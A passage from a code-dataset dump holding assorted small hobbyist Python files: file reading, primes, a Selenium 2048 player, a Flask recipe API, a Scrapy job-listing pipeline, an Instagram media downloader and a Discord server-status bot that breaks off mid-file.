open(file_name,encoding='utf-8') as file_obj:\n #定义一个变量,来保存文件的内容\n file_content = ''\n #默认值为-1\n #定义一个变量,来指定每次读取的大小\n chunk = 100;\n #创建一个循环来读取文件的内容\n while True:\n content = file_obj.read(chunk)\n #检查是否读取到了内容\n if not content:\n # 内容读取完毕,退出循环\n break\n #print(content,end='')\n file_content += content\nexcept FileNotFoundError:\n print(f'{file_name}文件不存在')\n\n\nprint(file_content)","sub_path":"day05/06.文件的读取.py","file_name":"06.文件的读取.py","file_ext":"py","file_size_in_byte":938,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"208739749","text":"\nfrom math import sqrt\n\n\ndef main():\n\t'''\n\tTo determine how many prime numbers between 101-200,\n\tand the output of all prime numbers.\n\t'''\n\tfor i in range(101, 201):\n\t\tflag = 1\n\t\tk = int(sqrt(i))\n\n\t\tfor j in range(2, k+1):\n\t\t\tif i%j == 0:\n\t\t\t\tflag = 0\n\t\t\t\tbreak\n\n\t\tif flag == 1:\n\t\t\tprint ('%5d\\n' % (i))\n\n\nif __name__ == \"__main__\":\n\tmain()\n\tprint ('%s' % main.__doc__)\n\t\n","sub_path":"python/test/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"53347583","text":"# Using Selenium webdriver to automatically play 2048 game on https://gabrielecirulli.github.io/2048/\n\nfrom selenium import webdriver\nfrom selenium.webdriver.common.keys import Keys\n\nbrowser = webdriver.Firefox()\nbrowser.get('https://gabrielecirulli.github.io/2048/')\nhtml_elem = browser.find_element_by_tag_name('html')\n\ngame_over = browser.find_element_by_xpath(\"//div[@class='game-message']\")\ngame_not_over = game_over.find_element_by_tag_name(\"p\").text\n\nwhile game_not_over == '':\n html_elem.send_keys(Keys.UP)\n html_elem.send_keys(Keys.RIGHT)\n html_elem.send_keys(Keys.DOWN)\n html_elem.send_keys(Keys.LEFT)\n","sub_path":"Selenium-001/2048player.py","file_name":"2048player.py","file_ext":"py","file_size_in_byte":624,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"227500258","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\nHarvest Time Tracking API Client\n~~~~~~~~~~~~~~~~\n\"\"\"\nimport logging\n\nimport sys\n\nlogger = logging.getLogger(__name__)\n\nmodule_name = sys.modules[__name__]\n\n\n# Methods\nfrom statsbiblioteket.harvest.harvest \\\n import \\\n Harvest\n\n# Types\nfrom statsbiblioteket.harvest.typesystem.harvest_types import \\\n Day, \\\n Client, \\\n Contact, \\\n DayEntry, \\\n Expense, \\\n ExpenseCategory, \\\n HarvestType, \\\n HarvestDBType, \\\n Project, \\\n Invoice, \\\n Task, \\\n TaskAssignment, \\\n User\n\n__version__ = \"__version__ = '1.1.4rc'\"\n__author__ = \"Asger Askov Blekinge\"\n__email__ = \"abr@statsbiblioteket.dk\"\n__license__ = \"MIT License\"\n\nlogging.getLogger(__name__).addHandler(logging.NullHandler())\n","sub_path":"statsbiblioteket/harvest/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":748,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"531254020","text":"#!/usr/bin/python3\n\ndebug = False\n\n#import basic\nfrom language import run\nimport sys, traceback\nimport os.path\nimport readline\nimport optparse\n\nparser = optparse.OptionParser()\n\nparser.add_option('-f', '--file',\n action='store', dest='filename',\n help='File name', default=None\n )\n\noptions, args = parser.parse_args()\n\nif options.filename != None:\n if os.path.isfile(options.filename):\n with open(options.filename) as f:\n result, error = run.run(options.filename, f.read())\n if error:\n print(error.as_string())\n elif result:\n print(result)\nelse:\n motd = (\n 'Glabgalab interpreter 0.0.1\\n'\n '---------------------------')\n \n print(motd)\n\n while True:\n try:\n text = input('>>> ')\n\n if text.strip() == '': continue\n\n #result, error = basic.run('', text)\n result, error = run.run('', text)\n if error:\n print(error.as_string())\n elif result:\n if len(result.elements) == 1:\n print(repr(result.elements[0]))\n else:\n print(repr(result))\n except KeyboardInterrupt:\n if debug == False: print('\\nIf you try to exit, use the `Exit` function')\n else:\n print('')\n raise\n except Exception:\n traceback.print_exc(file=sys.stdout)\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1496,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"584447523","text":"import matplotlib.pyplot as plt\nimport os\n\nhome = os.getcwd()\nnew_folder = os.path.join(home,\"data\")\nos.makedirs(new_folder, exist_ok=True)\n\nhome = os.getcwd()\nnew_folder = os.path.join(home,\"graphs_acc\")\nos.makedirs(new_folder, exist_ok=True)\nnew_folder = os.path.join(home,\"graphs_measures\")\nos.makedirs(new_folder, exist_ok=True)\n\nfile_op = open(os.path.join(os.getcwd(),\"data\",\"cluster_distribution_data.txt\") ,\"w\")\nfile_acc = open(\"cluster_wise_accuracy.txt\").readlines()\nfile_complexity = open(\"complexity_cluster_format_normal.txt\").readlines() \n\ncluster_wise_accuracy = [[0,0,0,0] for i in range(100)]\ncluster_wise_complexity = [[0,0,0,0] for i in range(100)]\n\nall_cluster_accuracies = []\n\nouter_index = 0\nfor i in range(400):\n acc = file_acc[i]\n \n complexity = []\n for j in file_complexity[i].split(\",\"):\n complexity.append(float(j))\n acc = acc.strip()\n acc = acc.split(\",\")\n inner_index = int(acc[2])\n\n cluster_wise_accuracy[outer_index][inner_index] = float(acc[3])\n all_cluster_accuracies.append(float(acc[3]))\n cluster_wise_complexity[outer_index][inner_index] = complexity\n if inner_index == 3:\n outer_index += 1\n\nbaseline_accuracy = []\nbaseline_complexity = []\n\nfile_acc = open(\"baseline_accuracy.txt\",\"r\")\nfile_complexity = open(\"complexity_baseline_format_normal.txt\").readlines()\n\nfor i in file_complexity:\n i = i.split(\",\")\n temp = []\n for j in i:\n temp.append(float(j))\n baseline_complexity.append(temp)\n\nfor i in file_acc:\n i = i.strip(\" \")\n i = i.strip(\"\\n\\n\")\n i = i.split(\",\")\n for j in i:\n baseline_accuracy.append(float(j))\n\nfreq, overall_acc_bins, patches = plt.hist(all_cluster_accuracies, bins=10)\npath = os.path.join(os.getcwd(),\"graphs_acc\",\"baseline.png\")\nplt.savefig(path)\nplt.clf()\nplt.cla()\nplt.close()\n\nfor measure in range(22):\n baseline_measure = []\n cluster_measure = []\n\n for i in range(100):\n for j in range(4):\n cluster_measure.append(cluster_wise_complexity[i][j][measure])\n baseline_measure.append(baseline_complexity[i][measure])\n\n file_op.write(str(measure)+ \"\\n\\n\")\n freq, bins, patches = plt.hist(cluster_measure, bins=10)\n\n \n plt.figure()\n freq, baseline_bins, patches = plt.hist(baseline_measure, bins=10)\n path = os.path.join(os.getcwd(),\"graphs_measures\",\"baseline_\" + str(measure) + \".png\")\n plt.savefig(path)\n plt.clf()\n plt.cla()\n plt.close()\n\n file_op.write(\"baseline bins\"+ \"\\n\\n\")\n file_op.write(str(baseline_bins)+ \"\\n\\n\")\n for i in baseline_bins:\n file_op.write(str(i))\n file_op.write(\"\\n\\n\")\n file_op.write(str(freq)+ \"\\n\\n\")\n\n plt.figure()\n freq, bins, p = plt.hist(cluster_measure, bins=baseline_bins)\n path = os.path.join(os.getcwd(),\"graphs_measures\",\"cluster\" + str(measure) + \".png\")\n plt.savefig(path)\n plt.clf()\n plt.cla()\n plt.close()\n\n file_op.write(\"clusters in the baseline range\"+ \"\\n\\n\")\n file_op.write(str(freq)+ \"\\n\\n\")\n file_op.write(str(len(freq))+ \"\\n\\n\")\n\n plt.figure()\n freq, bins, p = plt.hist(cluster_measure, bins=10)\n path = os.path.join(os.getcwd(),\"graphs_measures\",\"cluster_bins_\" + str(measure) + \".png\")\n plt.savefig(path)\n plt.clf()\n plt.cla()\n plt.close()\n\n file_op.write(\"clusters\" + \"\\n\\n\")\n file_op.write(str(bins) + \"\\n\\n\")\n for i in bins:\n file_op.write(str(i))\n file_op.write(str(freq) + \"\\n\\n\")\n file_op.write(\"\")\n\n \nfile_op.close() \n \n \n \n \n\n\n \n\n\n \n","sub_path":"complexity analysis/set1/dt_lda error/cluster_analysis.py","file_name":"cluster_analysis.py","file_ext":"py","file_size_in_byte":3541,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"123173373","text":"\"\"\"\nReceive data from Pupil using ZMQ. This script will connect to PupilRemote and start streaming incoming data to Matlab\nvia UDP\n\nSend simple string messages to control Pupil Capture functions:\n 'R' start recording with auto generated session name\n 'R rec_name' start recording and name new session name: rec_name\n 'r' stop recording\n 'C' start currently selected calibration\n 'c' stop currently selected calibration\n 'T 1234.56' Timesync: make timestamps count form 1234.56 from now on.\n 't' get pupil capture timestamp; returns a float as string.\n\n\n # IPC Backbone communication\n 'PUB_PORT' return the current pub port of the IPC Backbone\n 'SUB_PORT' return the current sub port of the IPC Backbone\n\"\"\"\nimport zmq\nfrom msgpack import loads\n\nfrom pylive import live_plotter\nimport numpy as np\nprint('reached here')\n## 1. SETUP\ndistanceToScreen = 57 # in cm\ncontext = zmq.Context()\n# open a req port to talk to pupil\naddr = '127.0.0.1' # remote ip or localhost\nreq_port = \"50020\" # same as in the pupil remote gui\nreq = context.socket(zmq.REQ)\nreq.connect(\"tcp://{}:{}\".format(addr, req_port))\nprint('reached here 2')\n# ask for the sub port\nreq.send_string('SUB_PORT')\nsub_port = req.recv_string()\nprint('reached here 3')\n# open a sub port to listen to pupil\nsub = context.socket(zmq.SUB)\nsub.connect(\"tcp://{}:{}\".format(addr, sub_port))\n\n# set subscriptions to topics\n# recv just pupil/gaze/notifications\n#sub.setsockopt_string(zmq.SUBSCRIBE, 'pupil.')\nsub.setsockopt_string(zmq.SUBSCRIBE, 'gaze.')\n# sub.setsockopt_string(zmq.SUBSCRIBE, 'notify.')\n# sub.setsockopt_string(zmq.SUBSCRIBE, 'logging.')\n# or everything:\n# sub.setsockopt_string(zmq.SUBSCRIBE, '')\n\n## 2. Receive data\n\nsize = 120\nt_vec = np.linspace(0,1,size+1)[0:-1]\nx_vec = np.zeros(size)\nline1 = []\n\n\nwhile True:\n topic, payload = sub.recv_multipart()\n gaze_point_x = loads(payload)[b'gaze_point_3d'][0]\n\n gaze_point_x_ang = np.degrees(np.arctan(gaze_point_x / 10 / distanceToScreen)) # divide by 10 to get cm\n\n print(\"gaze in deg:\", gaze_point_x_ang)\n\n\n x_vec[-1] = gaze_point_x_ang\n line1 = live_plotter(t_vec, x_vec, line1)\n x_vec = np.append(x_vec[1:], 0.0)\n\n\n","sub_path":"Psychopy/pythonPupil2.py","file_name":"pythonPupil2.py","file_ext":"py","file_size_in_byte":2186,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"186985163","text":"from flask import Flask, request\n# Para usar las variables declaradas en el archivo .env\nfrom dotenv import load_dotenv\nfrom os import environ\nfrom config.conexion_bd import base_de_datos\nfrom flask_restful import Api\nfrom controllers.postre import BusquedaPostre, PostreController, PostresController\nfrom controllers.preparacion import PreparacionesController\nfrom controllers.ingrediente import IngredienteController, IngredientesController\nfrom models.receta import RecetaModel\nfrom flask_swagger_ui import get_swaggerui_blueprint\n\n\nload_dotenv()\n\n# CONFIGURAR EL SWAGGER EN FLASK\n\n# Esta variable sirve para indicar en que ruta (endpoint) se encontrara la documentacion\nSWAGGER_URL = \"/api/docs\" #esta es la ruta para entrar a nuestra pajina lo puedes cambiar por /api/docs\nAPI_URL = \"/static/swagger.json\" # indicar la ubicacion del archivo json\nswagger_blueprint = get_swaggerui_blueprint(\n SWAGGER_URL,\n API_URL,\n config={\n 'app_name': \"Reposteria Flask - Swagger Documentation\"\n }\n)\n\n\n# FIN CONFIGURACION\n\napp = Flask(__name__)\n# sirve para registrar en el caso que nosotros tengamos un proyecto interno para agregarlo a un proyecto principal\napp.register_blueprint(swagger_blueprint)\napi = Api(app)\n\n# https://docs.sqlalchemy.org/en/14/core/engines.html\n# https://flask-sqlalchemy.palletsprojects.com/en/2.x/config/#connection-uri-format\n# dialect://username:password@host:port/database\napp.config['SQLALCHEMY_DATABASE_URI'] = environ.get(\"DATABASE_URI\")\n# si se establece en TRUE, Flask-SQLAlchemy rastreara las modificaciones de los objetos y lanzara señales . su valor predeterminado es None, igual habilita el tracking pero emite una advertencia que se dehabilitara de manera predeterminada en futuras versiones. esto consume memoria adicional y si no se va a utilizar es mejor desactivarlo (False)\napp.config['SQLALCHEMY_TRACK_MODIFICATIONS'] = False\n# iniciar la bd, para darle las credenciales definidas en el config\nbase_de_datos.init_app(app)\n\n# sirve para eliminar todas las tablas y limpiar la BD\n# esto se utiliza en fases tempranas del proyecto y antes de pasar a produccion si usamos la misma bd, para limpiar la informacion falsa\n\n# base_de_datos.drop_all(app=app)\n\n# crea todas las tablas definidas en los modelos en el proyecto\nbase_de_datos.create_all(app=app)\n\n\n@app.route(\"/\")\ndef initial_controller():\n return {\n \"message\": \"Bienvenido a mi API de RECETAS DE POSTRES 🎂\"\n }\n\n\n# DEFINO LAS RUTAS USANDO FLASK RESTFUL\napi.add_resource(PostresController, \"/postres\")\napi.add_resource(PostreController, \"/postres/\")\napi.add_resource(BusquedaPostre, \"/busqueda_postre\")\napi.add_resource(PreparacionesController, \"/preparaciones\",\n \"/preparaciones/\")\napi.add_resource(IngredientesController, \"/ingredientes\")\napi.add_resource(IngredienteController, \"/ingredientes/\")\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n \n\n# --------------------------------------------------------------\n# esto es para editar las tablas siempre comentarlo despues de utilizarlo\n\n# tener cuidado elimina tablas\n# base_de_datos.dop_all(app=app)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":3138,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"516564867","text":"# -*- coding: utf-8 -*-\n\n# Define your item pipelines here\n#\n# Don't forget to add your pipeline to the ITEM_PIPELINES setting\n# See: https://doc.scrapy.org/en/latest/topics/item-pipeline.html\n\nimport re\nimport json\nimport hashlib\nfrom job_crawl.mysql_connect import MysqlConnect\nfrom job_crawl.job_log import logger\n\nconn = MysqlConnect()\n\n\nclass JobCrawlPipeline(object):\n\n def tranformd5(self, data):\n m = hashlib.md5()\n m.update(data.encode('utf-8'))\n return m.hexdigest()\n\n def write_file(self, file_name, data):\n f = open('./out_put/%s' % file_name, 'a+')\n f.write(data)\n f.close()\n\n\n def process_item(self, item, spider):\n\n dict_word = {}\n tig = item['secondType'] + ',' + ','.join(item['positionLables'])\n tig = tig.strip(',')\n tig = tig.replace('其他', '')\n if not tig:\n dict_word['tig'] = item['positionName'].lower() # tig是职位标签(关键字)\n else:\n dict_word['tig'] = tig.lower()\n positionAdvantage = item['positionAdvantage']\n positionAdvantage = re.sub(r'[,|\\s+]', ',', positionAdvantage)\n advantage = positionAdvantage + ',' + ','.join(item['companyLabelList'])\n advantage = advantage.strip(',')\n advantage = advantage.split(',')\n advantage = set(advantage)\n advantage = ','.join(advantage)\n dict_word['advantage'] = advantage # 公司福利\n dict_word['education'] = item['education'] # 要求教育\n dict_word['city'] = item['city'] # 所在城市\n dict_word['industryfield'] = item['industryField'] # 公司类型\n dict_word['createtime'] = item['createTime'] # 发布时间\n dict_word['salary'] = item['salary'] # 工资\n dict_word['workyear'] = item['workYear'] # 工作年限\n companyname = item['companyShortName']\n positionname = item['positionName']\n dict_word['uni_md5'] = self.tranformd5(item['city'] + companyname + positionname)\n\n sql_sel = \"select count(id) from jobinfo where uni_md5='%s'\" % dict_word['uni_md5']\n print('*'*10, sql_sel)\n res = conn.sele(sql_sel)\n if res[0][0]:\n return\n file_name = 'lagou.20180913'\n data = json.dumps(item)\n self.write_file(file_name, data)\n keys = \",\".join(dict_word.keys())\n values = \"','\".join(dict_word.values())\n sql_ins = \"insert into jobinfo (%s) values ('%s');\" % (keys, values)\n try:\n conn.inser(sql_ins)\n except Exception as e:\n logger.error(e)\n\n\n\n\n","sub_path":"job_crawl/job_crawl/pipelines.py","file_name":"pipelines.py","file_ext":"py","file_size_in_byte":2593,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"549940425","text":"\n\nfrom xai.brain.wordbase.nouns._imperialist import _IMPERIALIST\n\n#calss header\nclass _IMPERIALISTS(_IMPERIALIST, ):\n\tdef __init__(self,): \n\t\t_IMPERIALIST.__init__(self)\n\t\tself.name = \"IMPERIALISTS\"\n\t\tself.specie = 'nouns'\n\t\tself.basic = \"imperialist\"\n\t\tself.jsondata = {}\n","sub_path":"xai/brain/wordbase/nouns/_imperialists.py","file_name":"_imperialists.py","file_ext":"py","file_size_in_byte":273,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"54627675","text":"#!/usr/bin/env python3\n# coding: utf-8\nimport argparse, os, csv, json, re\n\nPLACEHOLDER_UNDEFINED = 'NaN'\nresulting_database_filename_CSV = 'results.csv'\nresulting_database_filename_JSON = 'results.json'\n\nDATA_ROW_FIELDS = [\n\t'Database',\n\t'Test Result UID',\n\t'Sample Name',\n\t'Sample Type',\n\t'Receipt Time',\n\t'Test Time',\n\t'Post Time',\n\t'Provider',\n\t'cis-Nerolidol',\n\t'trans-Nerolidol',\n\t'trans-Nerolidol 1',\n\t'trans-Nerolidol 2',\n\t'trans-Ocimene',\n\t'3-Carene',\n\t'Camphene',\n\t'Caryophyllene Oxide',\n\t'Eucalyptol',\n\t'Geraniol',\n\t'Guaiol',\n\t'Isopulegol',\n\t'Linalool',\n\t'Ocimene',\n\t'Terpinolene',\n\t'alpha-Bisabolol',\n\t'alpha-Humulene',\n\t'alpha-Pinene',\n\t'alpha-Terpinene',\n\t'beta-Caryophyllene',\n\t'beta-Myrcene',\n\t'beta-Ocimene',\n\t'beta-Pinene',\n\t'delta-Limonene',\n\t'gamma-Terpinene',\n\t'p-Cymene',\n\t'delta-9 THC-A',\n\t'delta-9 THC',\n\t'delta-8 THC',\n\t'THC-A',\n\t'THCV',\n\t'CBN',\n\t'CBD-A',\n\t'CBD',\n\t'delta-9 CBG-A',\n\t'delta-9 CBG',\n\t'CBG-A',\n\t'CBG',\n\t'CBC',\n\t'Moisture Content',\n]\n\nparser = argparse.ArgumentParser(argument_default=False, description='Unite multiple databases.')\nparser.add_argument('databases', default='labs/', help='The path containing the databases to unite.')\nparser.add_argument('--verbose', '-v', action='count', default=0, help='Turn on verbose mode.')\nparser.add_argument('--json', action='store_true', help='Export as JSON.')\nparser.add_argument('--csv', action='store_true', help='Export as CSV.')\nparser.add_argument('--placeholder-csv', default='', help='CSV only: The placeholder to use when no value is present.')\nargs = parser.parse_args()\n\ndef log_this(*msg, sep=' ', end='\\n', level=3, override=False):\n\tmsg = sep.join([str(x) for x in msg])\n\tif level <= args.verbose or override:\n\t\tif level == 1:\n\t\t\tprint('INFO {}'.format(msg), end=end)\n\t\telif level == 2:\n\t\t\tprint('DETAIL {}'.format(msg), end=end)\n\t\telif level == 3:\n\t\t\tprint('DEBUG {}'.format(msg), end=end)\n\ndef write_to_csv(filepath, fieldnames, data):\n\tif os.path.exists(filepath):\n\t\twriteheader = False\n\telse:\n\t\twriteheader = True\n\twith open(filepath, 'a', encoding='utf-8') as writefile:\n\t\twritefile_writer = csv.DictWriter(writefile, fieldnames=fieldnames, restval=args.placeholder_csv, lineterminator='\\n')\n\t\tif writeheader:\n\t\t\twritefile_writer.writeheader()\n\t\tif type(data) != list:\n\t\t\tdata = [data]\n\t\tfor data_row in data:\n\t\t\twritefile_writer.writerow(data_row)\n\ndatabases_list = sorted(os.listdir(os.path.expanduser(args.databases)))\nmain_database = {'databases':{}}\n\nmissing_files = []\nfor raw_database_folder_name in databases_list:\n\tjson_database = os.path.join(os.path.expanduser(args.databases),raw_database_folder_name,'results.json')\n\tcsv_database = os.path.join(os.path.expanduser(args.databases),raw_database_folder_name,'results.csv')\n\tif args.json and not os.path.exists(json_database):\n\t\tmissing_files.append(json_database)\n\tif args.csv and not os.path.exists(csv_database):\n\t\tmissing_files.append(csv_database)\nif len(missing_files) != 0:\n\tlog_this('Some required files are missing:', level=1, override=True)\n\tlog_this(*missing_files, sep='\\n', level=1, override=True)\n\texit()\n\nfor raw_database_folder_name in databases_list:\n\tlog_this('#'*80, level=2)\n\tlog_this('Getting database {} now.'.format(raw_database_folder_name), level=2)\n\n\t#get database label\n\tlabel = raw_database_folder_name.title()\n\n\tif args.json:\n\t\tjson_database_file_name = os.path.join(os.path.expanduser(args.databases),raw_database_folder_name,'results.json')\n\t\twith open(json_database_file_name, 'r', encoding='utf-8') as database_file_JSON:\n\t\t\tdatabase_file_reader_JSON =json.load(database_file_JSON)\n\t\t\tdatabase_name = database_file_reader_JSON['name']\n\t\t\tif database_name not in main_database['databases']:\n\t\t\t\tmain_database['databases'][database_name] = {}\n\t\t\tfor sample_type in database_file_reader_JSON['samples'].keys():\n\t\t\t\tif sample_type not in main_database['databases'][database_name]:\n\t\t\t\t\tmain_database['databases'][database_name][sample_type] = []\n\t\t\t\tfor sample_data in database_file_reader_JSON['samples'][sample_type]:\n\t\t\t\t\tfor sample_data_field in list(sample_data.keys()):\n\t\t\t\t\t\tremove_key = False\n\t\t\t\t\t\tif sample_data[sample_data_field] == PLACEHOLDER_UNDEFINED:\n\t\t\t\t\t\t\tremove_key = True\n\t\t\t\t\t\tif sample_data_field not in DATA_ROW_FIELDS:\n\t\t\t\t\t\t\tremove_key = True\n\t\t\t\t\t\tif remove_key:\n\t\t\t\t\t\t\tdel sample_data[sample_data_field]\n\t\t\t\t\tif sample_data != {}:\n\t\t\t\t\t\tmain_database['databases'][database_name][sample_type].append(sample_data)\n\n\tif args.csv:\n\t\tcsv_database_file_name = os.path.join(os.path.expanduser(args.databases),raw_database_folder_name,'results.csv')\n\t\twith open(csv_database_file_name, 'r', encoding='utf-8') as database_file_CSV:\n\t\t\tdatabase_file_reader_CSV = csv.DictReader(database_file_CSV)\n\t\t\tfor sample_data in database_file_reader_CSV:\n\t\t\t\tsample_data[\"Database\"] = label\n\t\t\t\twrite_to_csv(\n\t\t\t\t\tresulting_database_filename_CSV,\n\t\t\t\t\tDATA_ROW_FIELDS,\n\t\t\t\t\tsample_data\n\t\t\t\t)\n\nif args.json:\n\twith open(resulting_database_filename_JSON, 'w', encoding='utf-8') as resulting_database_file_JSON:\n\t\tresulting_database_file_JSON.write('databasesContainer=')\n\t\tjson.dump(main_database, resulting_database_file_JSON, separators=(',', ':'), sort_keys=True)\n","sub_path":"unite.py","file_name":"unite.py","file_ext":"py","file_size_in_byte":5160,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"262103298","text":"texto = \"Cientista de Dados é a profissão que mais tem crescido ultimamente.\\n\"\ntexto = texto + \"Esses profissionais precisam se especializar em Estatísica, Programação e Machine Learning.\"\ntexto += \"E claro, em Big Data.\"\n\n#print(texto)\n\nimport os\n\n\"\"\"\narquivo = open(os.path.join('cientista.txt'), 'w')\n\nfor palavra in texto.split():\n\tarquivo.write(palavra+' ')\n\narquivo.close()\n\narquivo = open('cientista.txt', 'r')\ntexto = arquivo.read()\narquivo.close()\n\nprint(texto)\n\"\"\"\n\n\"\"\"\nwith open('cientista.txt', 'r') as arquivo:\n\ttexto = arquivo.read()\n\nprint(len(texto))\nprint(texto)\n\n\"\"\"\n\nwith open('cientista.txt', 'w') as arquivo:\n\tarquivo.write(texto[:21])\n\tarquivo.write('\\n')\n\tarquivo.write(texto[:33])\n\nwith open('cientista.txt', 'r') as arquivo:\n\ttexto = arquivo.read()\n\nprint(texto)","sub_path":"Manipulando_Arq.py","file_name":"Manipulando_Arq.py","file_ext":"py","file_size_in_byte":793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"190445373","text":"for value in range(1,5):\n print(value)\n'only prints 1-4'\n\nfor value in range(1,6):\n print(value)\n'only prints 1-5'\n\nnumbers = list(range(1,6))\nprint (numbers)\n\neven_numbers = list(range(2,11,2))\nprint(even_numbers)\n'prints numbers from 2 to 10 every other one'\n\nfor poop in list(range(2,11)):\n\tprint (poop)\n\n\nsquares = []\nfor value in range(1,11):\n\tsquare = value**2\n\tsquares.append(square)\nprint(squares)\n'1 x 1 x 1'\n'1 x 2 x 2'\n'1 x 3 x 3'\n\nsquares = []\nfor value in range(1,11):\n\tsquares.append(value**2)\nprint(squares)\n\nnumbers = list(range(1,21))\nmin(numbers)\n\n","sub_path":"numbers.py","file_name":"numbers.py","file_ext":"py","file_size_in_byte":566,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"526748658","text":"import json\nfrom os.path import exists, join\nfrom re import findall\nfrom urllib.parse import quote\n\nfrom url_downloader import save_file, get_resource\nfrom media_downloader.downloader import create_user_dir\n\n\ndef _get_page_data(page_id, end_cursor=\"\"):\n if end_cursor:\n next_page_query = '{\"id\":\"%s\",\"first\":%s,\"after\":\"%s\"}' % (page_id, 12, end_cursor)\n else:\n next_page_query = '{\"id\":\"%s\",\"first\":%s}' % (page_id, 12)\n\n next_page_query = 'https://www.instagram.com/graphql/query/?query_hash=f2405b236d85e8296cf30347c9f08c2a&variables=' + quote(\n next_page_query)\n\n data = get_resource(next_page_query)\n data = json.loads(data)['data']['user']['edge_owner_to_timeline_media']\n\n end_cursor = data['page_info']['end_cursor']\n return data, end_cursor\n\n\ndef _download_node(data, user_dir):\n if data['is_video']:\n url = data['video_url']\n file_name = url.split('?')[-2].split('/')[-1]\n else:\n url = data['display_resources'][-1]['src']\n file_name = url.split('?')[-2].split('/')[-1]\n\n if not exists(join(user_dir, file_name)):\n save_file(url=url, file_path=user_dir, file_name=file_name)\n print(url)\n\n\ndef download_instagram(url: str, directory: str = '.'):\n \"\"\"\n Download all media of the twitter user.\n :param directory: Directory to save media in\n :param url: Url of the twitter user's page\n \"\"\"\n user = findall('instagram.com/([^/]*)', url)[0]\n user_dir = create_user_dir(directory, user)\n\n html = get_resource(url) # from website\n page_id = findall('owner\":{\"id\":\"(\\d*)\"', html)[0]\n\n data, end_cursor = _get_page_data(page_id)\n while True:\n for image_data in data['edges']:\n image_data = image_data['node']\n\n if 'edge_sidecar_to_children' in image_data:\n print(len(image_data['edge_sidecar_to_children']['edges']))\n # Side cars\n for image_data in image_data['edge_sidecar_to_children']['edges']:\n image_data = image_data['node']\n _download_node(image_data, user_dir)\n else:\n _download_node(image_data, user_dir)\n\n if not data['page_info']['has_next_page']:\n return\n data, end_cursor = _get_page_data(page_id, end_cursor)\n","sub_path":"media_downloader/instagram.py","file_name":"instagram.py","file_ext":"py","file_size_in_byte":2309,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"651847128","text":"from django.urls import path\nfrom django.contrib.auth import views as loginview\nfrom QoSGui.forms import LoginForm\nfrom . import views\n\nurlpatterns = [\n path('login/', loginview.login, {'authentication_form': LoginForm}),\n path('', views.home, name='Home'),\n path('topologies/', views.topologies, name='Topologies'),\n path('addtopology/', views.add_topology, name='AddTopology'),\n path('drag_drop/', views.drag_drop, name='drag_drop'),\n path('saveTopology/', views.save_json_topology, name='SaveTopology'),\n path('flow_table/', views.flow_table_view, name='FlowTable'),\n path('charts', views.charts_test, name='Charts'),\n path('test_back', views.test_background, name='tesback'),\n path('topology_discovery/',views.discover_topology, name=\"discover_topology\"),\n path('perepare_environment/',views.prepare_environement, name=\"prepare_environement\"),\n path('configure_monitoring//',views.configure_monitoring, name=\"configure_monitoring\"),\n path('start_monitoring/', views.start_monitoring, name=\"start_monitoring\"),\n path('configure_m', views.configure_m, name=\"configure_m\"),\n path('start_m/', views.start_m, name=\"start_m\"),\n path('delete_topology/', views.delete_topology, name=\"delete_topology\"),\n]\n\n","sub_path":"DynamicQoS/QoSGui/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"60"} +{"seq_id":"650802630","text":"from tcp_latency import measure_latency\nfrom dotenv import load_dotenv\nimport datetime, nest_asyncio\nimport discord, time, threading, asyncio, os, logging\n\nnest_asyncio.apply()\n\njigiip = \"14.36.69.85\"\ntimestamp = datetime.date.today()\nlogpath = f\"C:/Users/alexj/Documents/dev/jigibot/jigi-bot-discord/log/{timestamp}\"\nfilenumber = 0\nwhile os.path.exists(f\"{logpath}-{filenumber}.txt\"):\n filenumber += 1\nlogpath = f\"{logpath}-{filenumber}.txt\"\nf = open(logpath, \"w\")\nlogging.basicConfig(\n filename=logpath,\n filemode=\"w\",\n format=\"%(asctime)s - %(levelname)s - %(message)s\",\n level=logging.DEBUG,\n)\nlogging.debug(\"log start\")\n\nclient = discord.Client()\n\n\nasync def change_name(new_name):\n channel = client.get_channel(864328756956758017)\n await channel.edit(name=new_name)\n\n\nserver_status = False\n\n\nasync def pingjigia():\n print(\"wtf?\")\n global server_status\n channel = client.get_channel(864328756956758017)\n commchannel = client.get_channel(779347281744756759)\n while True:\n print(\"pingjigia called\")\n for i in range(5):\n logging.info(\"Ping To Jigi Server\")\n print(\"ping to jigisv\")\n packet = measure_latency(host=jigiip, port=25565, runs=1, timeout=2.5)[0]\n print(\"ping sent to jigisv\")\n print(packet)\n if packet != None:\n logging.info(f\"Packet From Jigi Server {packet}ms\")\n print(\"packet isnt none\")\n if server_status == False:\n # await commchannel.send(\"@마인크래프트 서버 오픈\")\n await channel.edit(name=\"🟢ㅣ직이섭 열림\")\n logging.info(\"Jigi Server Is UP\")\n server_status = True\n 